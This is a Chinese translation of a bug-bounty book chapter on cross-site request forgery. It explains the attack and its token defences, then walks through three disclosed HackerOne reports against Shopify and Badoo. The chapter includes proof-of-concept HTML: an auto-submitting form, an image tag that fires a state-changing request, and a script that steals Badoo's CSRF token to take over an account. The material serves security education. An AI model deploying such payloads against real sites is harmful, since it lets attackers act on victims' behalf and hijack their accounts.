# 八、跨站請求偽造
> 作者:Peter Yaworski
> 譯者:[飛龍](https://github.com/)
> 協議:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 描述
跨站請求偽造,或 CSRF 攻擊,在惡意網站、電子郵件、即使消息、應用以及其它,使用戶的 Web 瀏覽器執行其它站點上的一些操作,并且用戶已經授權或登錄了該站點時發生。這通常會在用戶不知道操作已經執行的情況下發生。
CSRF 攻擊的影響取決于收到操作的站點。這里是一個例子:
1. Bob 登錄了它的銀行賬戶,執行了一些操作,但是沒有登出。
2. Bob 檢查了它的郵箱,并點擊了一個陌生站點的鏈接。
3. 陌生站點向 Bob 銀行站點發送請求來進行轉賬,并傳遞第一步中,保存 Bob 銀行會話的 Cookie 信息。
4. Bob 的銀行站點收到了來自陌生(惡意)站點的請求,沒有使用 CSRF Token 的情況下處理了轉賬。
更有意思的是這個想法,也就是惡意網站的鏈接可以包含有效的 HTML,`<imgsrc=”www.malicious_site.com”>`,并且并不需要 Bob 點擊鏈接。如果 Bob 的設備(例如瀏覽器)渲染了這個圖片,它會向`malicious_site.com`發送請求,來完成 CSRF 攻擊。
現在,知道了 CSRF 的危險之后,它們可以以多種方式防范。最流行的方式大概是 CSRF Token,它必須隨著潛在的數據修改氣你去一起提交(例如 POST 請求)。這里,Web 應用(例如 Bob 的銀行)會生成一個兩部分的 Token,一個 Bob 會收到,另一個由應用保管。
當 Bob 試圖提交轉賬請求時,它就需要提交 Token,銀行會驗證它這一邊的 Token。
現在,對于 CSRF 和 CSRF Token 來說,跨域資源共享似乎越來越普遍了。或者只是我注意到是這樣。本質上,CORS 限制了資源,包括 JSON 響應,被外域訪問。換句話說,當 CORS 用于保護站點時,你就不能編寫 JavaScript 來調用目標應用,讀取響應或者進行另一個調用,除非目標站點允許。
似乎這非常令人混亂,使用 JavaScript,嘗試調用` HackerOne.com/activity.json`,讀取響應并進行二次調用。你也會在下面的例子 #3 看到它的重要性,以及潛在的原理。
最后,重要的是要記住(感謝 Jobert Abma 補充),并不是每個不帶有 CSRF Token 的請求都帶有 CSRF 問題。一些站點可能執行額外的檢查,例如比較 Referer 協議頭(雖然可能出錯,并且有一些繞過它的案例)。它是一個字段,標識了鏈接到被請求資源的頁面地址。換句話說,如果 POST 調用中的 Referer 并不來源于收到 HTTP 請求的相同站點,站點可能不允許該調用,因此能夠完成和驗證 CSRF Token 的相同操作。此外,不是每個站點在創建或者定義 Token 時都使用`csrf`術語。例如,在 Badoo 它使用`rt`參數,我們下面會討論。
> 鏈接
> 查看 [OWASP 測試指南](https://www.owasp.org/index.php/Testing_for_CSRF_%28OTG-SESS-005%29)。
## 示例
### 1\. Shopify 導出已安裝的用戶
難度:低
URL:`https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users`
報告鏈接:`https://hackerone.com/reports/96470`
報告日期:2015.10.29
獎金:$500
描述:
Shopify 的 API 提供了一個終端,用于導出已安裝用戶的列表,通過上面給出的 URL。在站點能夠調用該終端,并且讀取信息的地方存在漏洞,因為 Shopify 在該調用中并沒有包含任何 CSRF Token 驗證。所以,下面的 HTML 代碼可以用于代表任何未知受害者提交表單。
```html
<html>
<head><title>csrf</title></head>
<body onLoad="document.forms[0].submit()">
<form action="https://app.shopify.com/services/partners/api_clients/1105664/\ export_installed_users" method="GET">
</form>
</body>
</html>
```
這里,通過僅僅瀏覽站點,JavaScript 就會提交表單,它實際上包含 Shopify API 的 GET 請求,使用受害者的瀏覽器,并提供 Shopify 的 Cookie。
> 重要結論
> 擴展你的攻擊領域,并從站點轉向它的 API 終端。API 提供了極大的漏洞可能性,所以最好牢記他,尤其是當你知道 API 可能開發完畢,或者在站點實際開發之后可用的時候。
### 2\. Shopify Twitter 斷開連接
難度:低
URL:`https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect`
報告鏈接:`https://hackerone.com/reports/111216`
報告日期:2016.1.17
獎金:$500
描述:
Shopify 提供了 Twitter 的繼承,來允許店主轉推它們的商品。與之相似,也提供了功能來斷開推特賬戶和被連接商店的鏈接。
斷開 Twitter 賬戶的 URL 卸載了上面。當進行調用時,Shopify 不驗證 CSRf Token,這可能會允許惡意人員代表受害者進行 GET 調用,因此斷開受害者的商店與 Twitter 的連接。
在提供這份報告的時候,WeSecureApp 提供了下面的漏洞請求示例 - 要注意下面的`img`標簽的使用,它對漏洞 URL 進行調用:
```
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/2010010\ 1 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=REDACTED
Connection: keep-alive
```
由于瀏覽器進行 GET 請求來獲取給定 URL 處的圖片,并且不驗證任何 CSRF Token ,用戶的商店現在已斷開連接:
```html
<html>
<body>
<img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect">
</body>
</html>
```
> 重要結論
> 這種情況下,這個漏洞可以使用代理服務器來發現,例如 Burp 或者 Firefox 的 Tamper Data,來觀察發送給 Shopify 的請求,并主要到這個請求使用 GET 方式來執行。由于這是個破壞性操作,而 GET 請求不應該修改任何服務器上的數據,這應該是一些需要關注的事情。
### 3\. Badoo 賬戶的完整控制
難度:中
URL:`https://badoo.com`
報告鏈接:`https://hackerone.com/reports/127703`
報告日期:2016.4.1
獎金:$852
描述:
如果你仔細檢查 Badoo ,你會發現,它們通過包含 URL 參數`rt`來防御 CSRF,它只有 5 個位數(至少在我寫這篇的時候)。雖然我在 Badoo 入駐 HackerOne 的時候就注意到了,我并沒有找到利用它的方式,但是`zombiehelp54`找到了。
發現`rt`參數以及其值之后,它也注意到了,參數一戶在所有 JSON 響應中都返回。不幸的是,這并沒有什么幫助,因為 CORS 保護了 Badoo,攻擊者無法讀取這些響應,所以它繼續挖掘。
最終,文件`https://eu1.badoo.com/worker-scope/chrome-service-worker.js`包含了`rt`值。更好的是,這個文件可以由攻擊者任意讀取,而不需要受害者做什么,除了瀏覽這個惡意頁面。這里是它提供的代碼。
```html
<html>
<head>
<title>Badoo account take over</title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript>
</head>
<body>
<script>
function getCSRFcode(str) {
return str.split('=')[2];
}
window.onload = function(){
var csrf_code = getCSRFcode(url_stats);
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
window.location = csrf_url;
};
</script>
```
本質上,當受害者加載此頁面時,它會調用 Badoo 的腳本,為用戶獲取`rt`參數,之后代表受害者進行調用,這里,它將受害者的賬戶鏈接到了攻擊者的,本上上完成了賬戶的控制。
> 重要結論
> 無風不起浪。這里,攻擊者注意到了`rt`參數在不同位置返回,特別是 JSON 響應,因此,它正確猜測了,它可能出現在一些可以利用的地方,這里是 JS 文件。
> 繼續干吧,如果你覺得一些東西可能會發生,一定要繼續挖掘。當你訪問目標站點或應用時,使用 Burp 檢查所有被調用的資源。
## 總結
CSRF 表示另一個攻擊向量,并且可能在受害者不知道,或者不主動執行操作的情況下發生。CSRF 漏洞的發現可能需要一些機智,同樣,也需要測試任何東西的渴望。
通常,如果站點執行 POST 請求,Web 表單都統一由應用框架保護,例如 Rails,但是 API 又是另外一個事情。例如, Shopify 使用了 RoR 編寫,它對所有表單默認提供了 CSRF 保護(當然也可以關掉)。但是,顯然意見,這對于使用框架創建的 API 不一定成立。最后,一定要觀察任何通過 GET 請求執行的,修改服務器數據的調用(例如刪除操作)。